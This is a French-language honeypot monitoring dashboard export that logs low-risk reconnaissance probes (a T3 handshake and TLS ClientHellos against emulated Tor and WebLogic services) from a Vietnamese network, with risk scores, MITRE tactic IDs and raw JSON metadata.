24/07/2026 18:06:20 UTC
TCP
9001 · TOR OR
tor exit probe
tor exit probe · via TOR OR:9001 · (commande & contrôle)
Élevée
Faible · 35
Détails
Voir
Étape
Commande & contrôle
Chaîne
Commande & contrôle
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
TA0011
TA0011
Protocole
Émulateur
TOR-OR
WAF
—
Recommandation
Surveiller
Tags
net_tor_probe
tor_exit_probe
tor_or_emulated
tor_or_payload
Cible HTTP
—
TLS SNI
—
Capteur
paris-1
Méthode
—
Port
9001
Chemin / cible
—
Service
TOR OR
Payload
t3 12.2.1 AS:255 HL:19 MS:10000000
Pourquoi cette classification : Type « tor_exit_probe » (signaux protocolaires) · confiance 46%
Confiance classification
46%
Confiance modérée — signal unique
Risque capteur
Faible
· 35
Confiance : Confiance 46 % — 4 signal(aux) capteur
Protocole émulé
1 Signaux
Tor Exit Hint
Technique MITRE
TA0011
Tactiques MITRE
TA0011
User-Agent
—
Règles WAF
—
Payload (extrait)
t3 12.2.1
AS:255
HL:19
MS:10000000
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "030000000000000000",
"emulator_response_len": 9,
"bytes_in": 36,
"payload_entropy": 3.648511114409896,
"port_category": "registered",
"org": "Long Van System Solution JSC",
"service": "tor-or",
"app_proto": "tor-or",
"asn": 131386,
"country": "VN",
"dst_port": 9001,
"risk_waf": 8,
"risk_classification": 62,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 30,
"risk_novelty": 0,
"risk_boost": 0,
"risk_granularity": 3.2,
"risk_breakdown": {
"waf": 8,
"classification": 62,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 0
},
"risk_score": 35,
"tag_count": 4,
"anomaly_count": 0,
"campaign_key": "5da0cd91deb0f5e5e0d57d9c2087946b0a179235",
"event_fingerprint": "2bc74a66a243c40126697f519e65200a159d147e",
"classification_reason": "Type \u00ab tor_exit_probe \u00bb (signaux protocolaires) \u00b7 confiance 46%",
"confidence": 0.46,
"classification_confidence": 0.46,
"precision_score": 55,
"precision_signals": [
"INT-TOR-exit-hint"
],
"kb_rule_ids": [
"INT-TOR-exit-hint"
],
"confidence_breakdown": {
"waf": 8,
"classification": 62,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 0,
"risk_score": 35
},
"named_classification_skipped": false,
"service_name": "tor-or",
"risk_confidence_factor": 46,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "VN",
"asn": 131386,
"org": "Long Van System Solution JSC",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "c774fdf36465e0ff86b6cbcdac011d2c",
"path_pattern_hash": "d2d40d620e587c49ef0af866b893b1d5"
},
"target_context": {
"dst_port": 9001,
"service": "tor-or",
"service_name": "tor-or",
"risk_score": 35
},
"payload_preview": "t3 12.2.1\nAS:255\nHL:19\nMS:10000000\n\n",
"request_sample": "t3 12.2.1\nAS:255\nHL:19\nMS:10000000\n\n",
"payload_snippet": "t3 12.2.1\nAS:255\nHL:19\nMS:10000000",
"evidence": {
"request_sample": "t3 12.2.1\nAS:255\nHL:19\nMS:10000000\n\n",
"payload_snippet": "t3 12.2.1\nAS:255\nHL:19\nMS:10000000",
"classification_reason": "Type \u00ab tor_exit_probe \u00bb (signaux protocolaires) \u00b7 confiance 46%"
},
"attack_stage": "c2",
"mitre_tactics": [
"TA0011"
],
"mitre": "TA0011",
"threat_family": [
"botnet"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "07ac54013f98d0852aa9fbd8c3a7155f5623cb24",
"protocol_details": {
"payload_preview": "t3 12.2.1\nAS:255\nHL:19\nMS:10000000",
"port": 9001,
"service": "tor-or",
"service_label_fr": "TOR OR"
},
"evidence_snippet": "t3 12.2.1\nAS:255\nHL:19\nMS:10000000",
"attack_vector": "tor exit probe \u00b7 via TOR OR:9001 \u00b7 (commande & contr\u00f4le)",
"target_port_label": "9001 \u00b7 TOR OR",
"emulator_service": "tor-or",
"confidence_reason": "Confiance 46 % \u2014 4 signal(aux) capteur",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab tor_exit_probe \u00bb (signaux protocolaires) \u00b7 confiance 46%",
"classification_reason_label_fr": "Type \u00ab tor_exit_probe \u00bb (signaux protocolaires) \u00b7 confiance 46%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 35\/100 (Faible) \u2014 MITRE TA0011 \u2014 confiance 46 % \u2014 via TOR OR",
"confidence_pct": 46,
"confidence_breakdown": {
"waf": 8,
"classification": 62,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 0,
"risk_score": 35
},
"attack_stage": "c2",
"attack_stage_label": "Commande & contr\u00f4le",
"attack_chain_stage": "command_and_control",
"attack_chain_stage_label_fr": "Commande & contr\u00f4le",
"risk_score": 35,
"risk_label": "Faible",
"service_name": "tor-or",
"service_label_fr": "TOR OR",
"dst_port": 9001,
"protocol_emulated": true,
"tags_summary": [
"INT-TOR-exit-hint"
],
"tags_summary_labels_fr": [
"Tor Exit Hint"
],
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "TA0011",
"mitre_technique": "TA0011",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-tor-or",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Confiance mod\u00e9r\u00e9e \u2014 signal unique",
"protocol_details": {
"payload_preview": "t3 12.2.1\nAS:255\nHL:19\nMS:10000000",
"port": 9001,
"service": "tor-or",
"service_label_fr": "TOR OR"
},
"attack_vector": "tor exit probe \u00b7 via TOR OR:9001 \u00b7 (commande & contr\u00f4le)",
"evidence_snippet": "t3 12.2.1\nAS:255\nHL:19\nMS:10000000",
"target_port_label": "9001 \u00b7 TOR OR",
"emulator_service": "tor-or",
"confidence_reason": "Confiance 46 % \u2014 4 signal(aux) capteur",
"confidence_factors_fr": "Confiance 46 % \u2014 Score WAF 8",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": true,
"kind": "stage"
},
{
"key": "command_and_control",
"label_fr": "Commande & contr\u00f4le",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "tor_or",
"service_banner": "honeypot-tor-or",
"service_os": "linux",
"dst_port": "9001"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "command_and_control",
"matched_patterns": [],
"ban_policy": "advisory_monitor",
"tags_list": [
"net_tor_probe",
"tor_exit_probe",
"tor_or_emulated",
"tor_or_payload"
]
}
24/07/2026 09:56:21 UTC
TCP
17001
—
Sonde port
Sonde port · port 17001 · (sonde / probe)
Faible
Moyen · 44
Détails
Voir
Étape
Sonde / probe
Chaîne
Découverte
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
TA0007
TA0007
TA0001
Protocole
WAF
—
Recommandation
Surveiller
Tags
—
Cible HTTP
—
TLS SNI
—
Capteur
paris-1
Méthode
—
Port
17001
Chemin / cible
—
Payload
t3 12.2.1 AS:255 HL:19 MS:10000000
Pourquoi cette classification : Type « port_probe » (signaux protocolaires) · confiance 50%
Confiance classification
50%
Confiance modérée — signal unique
Risque capteur
Moyen
· 44
Confiance : Confiance modérée (50 %) — signal principal unique
Signaux
Fp Port Probe Noise
Single Port
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
User-Agent
—
Règles WAF
—
Payload (extrait)
t3 12.2.1
AS:255
HL:19
MS:10000000
Meta JSON brut
{
"bytes_in": 36,
"payload_entropy": 3.648511114409896,
"port_category": "registered",
"org": "Long Van System Solution JSC",
"service": null,
"app_proto": null,
"asn": 131386,
"country": "VN",
"dst_port": 17001,
"risk_waf": 8,
"risk_classification": 48,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 0,
"risk_novelty": 0,
"risk_boost": 0,
"risk_granularity": 2.1,
"risk_breakdown": {
"waf": 8,
"classification": 48,
"behavior": 0,
"geo": 0,
"protocol": 0,
"novelty": 0
},
"risk_score": 44,
"tag_count": 0,
"anomaly_count": 0,
"campaign_key": "2d467557cf0686ce274047d11df24d89877b9cf5",
"event_fingerprint": "6ddffde0aeac2cb98bda3891f97d0df2e12c3d37",
"classification_confidence": 0.5,
"confidence": 0.5,
"precision_signals": [
"INT-FP-port-probe-noise",
"INT-single-port"
],
"classification_reason": "Type \u00ab port_probe \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"confidence_breakdown": {
"waf": 8,
"classification": 48,
"behavior": 0,
"geo": 0,
"protocol": 0,
"novelty": 0,
"risk_score": 44
},
"risk_confidence_factor": 50,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "VN",
"asn": 131386,
"org": "Long Van System Solution JSC",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "c774fdf36465e0ff86b6cbcdac011d2c",
"path_pattern_hash": "49ebffbc8eed300cf9429db1ba4cf66d"
},
"target_context": {
"dst_port": 17001,
"risk_score": 44
},
"payload_preview": "t3 12.2.1\nAS:255\nHL:19\nMS:10000000\n\n",
"request_sample": "t3 12.2.1\nAS:255\nHL:19\nMS:10000000\n\n",
"payload_snippet": "t3 12.2.1\nAS:255\nHL:19\nMS:10000000",
"evidence": {
"request_sample": "t3 12.2.1\nAS:255\nHL:19\nMS:10000000\n\n",
"payload_snippet": "t3 12.2.1\nAS:255\nHL:19\nMS:10000000",
"classification_reason": "Type \u00ab port_probe \u00bb (signaux protocolaires) \u00b7 confiance 50%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"scanner"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "4f6f9134f84b52abc4dd69c50710f0929ab8e8bd",
"protocol_details": {
"payload_preview": "t3 12.2.1\nAS:255\nHL:19\nMS:10000000",
"port": 17001
},
"evidence_snippet": "t3 12.2.1\nAS:255\nHL:19\nMS:10000000",
"attack_vector": "Sonde port \u00b7 port 17001 \u00b7 (sonde \/ probe)",
"target_port_label": "17001",
"confidence_reason": "Confiance mod\u00e9r\u00e9e (50 %) \u2014 signal principal unique",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab port_probe \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"classification_reason_label_fr": "Type \u00ab port_probe \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 44\/100",
"confidence_pct": 50,
"confidence_breakdown": {
"waf": 8,
"classification": 48,
"behavior": 0,
"geo": 0,
"protocol": 0,
"novelty": 0,
"risk_score": 44
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "discovery",
"attack_chain_stage_label_fr": "D\u00e9couverte",
"risk_score": 44,
"risk_label": "Moyen",
"service_name": null,
"service_label_fr": null,
"dst_port": 17001,
"protocol_emulated": null,
"tags_summary": [
"INT-FP-port-probe-noise",
"INT-single-port"
],
"tags_summary_labels_fr": [
"Fp Port Probe Noise",
"Single Port"
],
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Confiance mod\u00e9r\u00e9e \u2014 signal unique",
"protocol_details": {
"payload_preview": "t3 12.2.1\nAS:255\nHL:19\nMS:10000000",
"port": 17001
},
"attack_vector": "Sonde port \u00b7 port 17001 \u00b7 (sonde \/ probe)",
"evidence_snippet": "t3 12.2.1\nAS:255\nHL:19\nMS:10000000",
"target_port_label": "17001",
"emulator_service": null,
"confidence_reason": "Confiance mod\u00e9r\u00e9e (50 %) \u2014 signal principal unique",
"confidence_factors_fr": "Confiance 50 % \u2014 Score WAF 8",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "discovery",
"label_fr": "D\u00e9couverte",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "generic",
"service_banner": "honeypot",
"service_os": "linux",
"dst_port": "17001"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "discovery",
"matched_patterns": [],
"ban_policy": "advisory_monitor",
"behavior_alert_count": 1,
"behavior_priority": 72
}
24/07/2026 09:39:16 UTC
TCP
7001 · WEBLOGIC
weblogic probe
weblogic probe · via WEBLOGIC:7001 · (sonde / probe)
Élevée
Faible · 33
Détails
Voir
Étape
Sonde / probe
Chaîne
Découverte
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Multi-protocole corrélé (5 min)
MITRE
TA0007
TA0007
TA0001
Protocole
Émulateur
WEBLOGIC
WAF
—
Recommandation
Surveiller
Tags
net_weblogic_probe
tls_clienthello
weblogic_emulated
Cible HTTP
—
TLS SNI
—
Capteur
paris-1
Méthode
—
Port
7001
Chemin / cible
—
Service
WEBLOGIC
Payload
�0<Tc��U�n8��ĕt��$�LFH ��"��,� -Œ�F�?���i�ᇎ庑Iݍ�*F NtHŧ >�,�0 �̨̩̪�+�/ ��$�( k�#�' g� � 9� � 3 �
Pourquoi cette classification : Type « weblogic_probe » (signaux protocolaires) · confiance 77%
Confiance classification
85%
Corrélation +8
Risque capteur
Faible
· 33
Confiance : Confiance 77 % — 3 signal(aux) capteur
Protocole émulé
1 Signaux
Weblogic Console
Upstream
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
Motifs de détection (base)
Minecraft varint handshake
SIP TLS ClientHello
TFTP RRQ
User-Agent
—
Règles WAF
—
Payload (extrait)
�0<Tc��U�n8��ĕt��$�LFH ��"��,� -Œ�F�?���i�ᇎ庑Iݍ�*F NtHŧ >�,�0 �̨̩̪�+�/ ��$�( k�#�' g�
� 9� � 3 �
Requête brute (extrait)
�0<Tc��U�n8��ĕt��$�LFH ��"��,� -Œ�F�?���i�ᇎ庑Iݍ�*F NtHŧ >�,�0 �̨̩̪�+�/ ��$�( k�#�' g� � 9� � 3 � � = < 5 / � u # 0 . + - 3 &
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a205765624c6f676963205365727665722031342e312e312e300d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2037390d0a0d0a3c68746d6c3e3c7469746c653e5765624c6f676963205365727665722043",
"emulator_response_len": 177,
"bytes_in": 517,
"payload_entropy": 3.9631520346666242,
"port_category": "registered",
"org": "Long Van System Solution JSC",
"service": "weblogic",
"app_proto": "weblogic",
"asn": 131386,
"country": "VN",
"dst_port": 7001,
"risk_waf": 8,
"risk_classification": 58,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 30,
"risk_novelty": 0,
"risk_boost": 0,
"risk_granularity": 5.2,
"risk_breakdown": {
"waf": 8,
"classification": 58,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 0
},
"risk_score": 33,
"tag_count": 3,
"anomaly_count": 0,
"campaign_key": "a513a8b6579875aee9e6cefbe17ae13f4cd756cc",
"event_fingerprint": "4ea7ffe7bc9ade2843b5e81016a496bfea35cfd6",
"classification_reason": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%",
"confidence": 0.85,
"classification_confidence": 0.85,
"precision_score": 87,
"precision_signals": [
"INT-weblogic_console",
"INT-upstream"
],
"kb_rule_ids": [
"INT-weblogic_console",
"INT-upstream"
],
"matched_patterns": [
"pat-0554",
"pat-0578",
"pat-0536"
],
"matched_pattern_names": [
"Minecraft varint handshake",
"SIP TLS ClientHello",
"TFTP RRQ"
],
"pattern_ids": [
"pat-0554",
"pat-0578",
"pat-0536"
],
"confidence_breakdown": {
"waf": 8,
"classification": 58,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 0,
"risk_score": 33,
"correlation_boost": 8
},
"named_classification_skipped": false,
"service_name": "weblogic",
"risk_confidence_factor": 77,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "VN",
"asn": 131386,
"org": "Long Van System Solution JSC",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "e671f9dab76765abf579f9947ba51a0c",
"path_pattern_hash": "a179ef516d6662010534ca5ee85ea8d3"
},
"target_context": {
"dst_port": 7001,
"service": "weblogic",
"service_name": "weblogic",
"risk_score": 33
},
"payload_snippet": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u00030<Tc\ufffd\ufffdU\ufffdn8\u0004\ufffd\ufffd\u0115t\ufffd\ufffd$\ufffdLFH\u001f\ufffd\ufffd\"\u000f\ufffd\ufffd,\ufffd -\u0152\ufffd\u0017F\ufffd?\ufffd\ufffd\ufffdi\ufffd\u0002\u11ce\u5e91I\u074d\ufffd*F\fNtH\u0167\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd",
"evidence": {
"request_sample": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u00030<Tc\ufffd\ufffdU\ufffdn8\u0004\ufffd\ufffd\u0115t\ufffd\ufffd$\ufffdLFH\u001f\ufffd\ufffd\"\u000f\ufffd\ufffd,\ufffd -\u0152\ufffd\u0017F\ufffd?\ufffd\ufffd\ufffdi\ufffd\u0002\u11ce\u5e91I\u074d\ufffd*F\fNtH\u0167\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd\u0000\ufffd\u0000=\u0000<\u00005\u0000\/\u0000\ufffd\u0001\u0000\u0001u\u0000\u000b\u0000\u0004\u0003\u0000\u0001\u0002\u0000\n\u0000\f\u0000\n\u0000\u001d\u0000\u0017\u0000\u001e\u0000\u0019\u0000\u0018\u0000#\u0000\u0000\u0000\u0016\u0000\u0000\u0000\u0017\u0000\u0000\u0000\r\u00000\u0000.\u0004\u0003\u0005\u0003\u0006\u0003\b\u0007\b\b\b\t\b\n\b\u000b\b\u0004\b\u0005\b\u0006\u0004\u0001\u0005\u0001\u0006\u0001\u0003\u0003\u0002\u0003\u0003\u0001\u0002\u0001\u0003\u0002\u0002\u0002\u0004\u0002\u0005\u0002\u0006\u0002\u0000+\u0000\t\b\u0003\u0004\u0003\u0003\u0003\u0002\u0003\u0001\u0000-\u0000\u0002\u0001\u0001\u00003\u0000&\u0000",
"payload_snippet": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u00030<Tc\ufffd\ufffdU\ufffdn8\u0004\ufffd\ufffd\u0115t\ufffd\ufffd$\ufffdLFH\u001f\ufffd\ufffd\"\u000f\ufffd\ufffd,\ufffd -\u0152\ufffd\u0017F\ufffd?\ufffd\ufffd\ufffdi\ufffd\u0002\u11ce\u5e91I\u074d\ufffd*F\fNtH\u0167\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd",
"classification_reason": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"enterprise_scan"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "79689b60f81d3df2b5300b68ae90e622716cefae",
"protocol_details": {
"payload_preview": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u00030<Tc\ufffd\ufffdU\ufffdn8\u0004\ufffd\ufffd\u0115t\ufffd\ufffd$\ufffdLFH\u001f\ufffd\ufffd\"\u000f\ufffd\ufffd,\ufffd -\u0152\ufffd\u0017F\ufffd?\ufffd\ufffd\ufffdi\ufffd\u0002\u11ce\u5e91I\u074d\ufffd*F\fNtH\u0167\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd",
"port": 7001,
"service": "weblogic",
"service_label_fr": "WEBLOGIC"
},
"evidence_snippet": "\ufffd0<Tc\ufffd\ufffdU\ufffdn8\ufffd\ufffd\u0115t\ufffd\ufffd$\ufffdLFH\ufffd\ufffd\"\ufffd\ufffd,\ufffd -\u0152\ufffdF\ufffd?\ufffd\ufffd\ufffdi\ufffd\u11ce\u5e91I\u074d\ufffd*FNtH\u0167>\ufffd,\ufffd0\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\ufffd\ufffd$\ufffd(k\ufffd#\ufffd'g\ufffd\n\ufffd9\ufffd\t\ufffd3\ufffd",
"attack_vector": "weblogic probe \u00b7 via WEBLOGIC:7001 \u00b7 (sonde \/ probe)",
"target_port_label": "7001 \u00b7 WEBLOGIC",
"emulator_service": "weblogic",
"confidence_reason": "Confiance 77 % \u2014 3 signal(aux) capteur",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%",
"classification_reason_label_fr": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 33\/100",
"confidence_pct": 85,
"confidence_breakdown": {
"waf": 8,
"classification": 58,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 0,
"risk_score": 33,
"correlation_boost": 8
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "discovery",
"attack_chain_stage_label_fr": "D\u00e9couverte",
"risk_score": 33,
"risk_label": "Faible",
"service_name": "weblogic",
"service_label_fr": "WEBLOGIC",
"dst_port": 7001,
"protocol_emulated": true,
"tags_summary": [
"INT-weblogic_console",
"INT-upstream"
],
"tags_summary_labels_fr": [
"Weblogic Console",
"Upstream"
],
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-weblogic",
"correlation_flags": [
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +8",
"protocol_details": {
"payload_preview": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u00030<Tc\ufffd\ufffdU\ufffdn8\u0004\ufffd\ufffd\u0115t\ufffd\ufffd$\ufffdLFH\u001f\ufffd\ufffd\"\u000f\ufffd\ufffd,\ufffd -\u0152\ufffd\u0017F\ufffd?\ufffd\ufffd\ufffdi\ufffd\u0002\u11ce\u5e91I\u074d\ufffd*F\fNtH\u0167\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd",
"port": 7001,
"service": "weblogic",
"service_label_fr": "WEBLOGIC"
},
"attack_vector": "weblogic probe \u00b7 via WEBLOGIC:7001 \u00b7 (sonde \/ probe)",
"evidence_snippet": "\ufffd0<Tc\ufffd\ufffdU\ufffdn8\ufffd\ufffd\u0115t\ufffd\ufffd$\ufffdLFH\ufffd\ufffd\"\ufffd\ufffd,\ufffd -\u0152\ufffdF\ufffd?\ufffd\ufffd\ufffdi\ufffd\u11ce\u5e91I\u074d\ufffd*FNtH\u0167>\ufffd,\ufffd0\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\ufffd\ufffd$\ufffd(k\ufffd#\ufffd'g\ufffd\n\ufffd9\ufffd\t\ufffd3\ufffd",
"target_port_label": "7001 \u00b7 WEBLOGIC",
"emulator_service": "weblogic",
"confidence_reason": "Confiance 77 % \u2014 3 signal(aux) capteur",
"confidence_factors_fr": "Confiance 85 % \u2014 Score WAF 8 \u00b7 Bonus corr\u00e9lation +8",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "discovery",
"label_fr": "D\u00e9couverte",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "weblogic",
"service_banner": "honeypot-weblogic",
"service_os": "linux",
"dst_port": "7001"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 2,
"multi_protocol_sample": [
"http",
"weblogic"
],
"multi_protocol_window_s": 300,
"behavior_alerts": [
"multi_protocol_correlation"
],
"correlation_confidence_boost": 8,
"attack_chain_stage": "discovery",
"ban_policy": "advisory_monitor",
"tags_list": [
"net_weblogic_probe",
"tls_clienthello",
"weblogic_emulated"
]
}
24/07/2026 09:39:15 UTC
TCP
7001 · WEBLOGIC
weblogic probe
weblogic probe · via WEBLOGIC:7001 · (sonde / probe)
Élevée
Faible · 33
Détails
Voir
Étape
Sonde / probe
Chaîne
Découverte
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Multi-protocole corrélé (5 min)
MITRE
TA0007
TA0007
TA0001
Protocole
Émulateur
WEBLOGIC
WAF
—
Recommandation
Surveiller
Tags
net_weblogic_probe
tls_clienthello
weblogic_emulated
Cible HTTP
—
TLS SNI
—
Capteur
paris-1
Méthode
—
Port
7001
Chemin / cible
—
Service
WEBLOGIC
Payload
�HR�� I��K �>����b�V�I}^�S����� �.;v�2% -Ȋ.�P�C�$0�U����g��u�3 >�,�0 �̨̩̪�+�/ ��$�( k�#�' g� � 9� � 3 �
Pourquoi cette classification : Type « weblogic_probe » (signaux protocolaires) · confiance 77%
Confiance classification
85%
Corrélation +8
Risque capteur
Faible
· 33
Confiance : Confiance 77 % — 3 signal(aux) capteur
Protocole émulé
1 Signaux
Weblogic Console
Upstream
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
Motifs de détection (base)
Minecraft varint handshake
SIP TLS ClientHello
TFTP RRQ
User-Agent
—
Règles WAF
—
Payload (extrait)
�HR�� I��K �>����b�V�I}^�S����� �.;v�2% -Ȋ.�P�C�$0�U����g��u�3 >�,�0 �̨̩̪�+�/ ��$�( k�#�' g�
� 9� � 3 �
Requête brute (extrait)
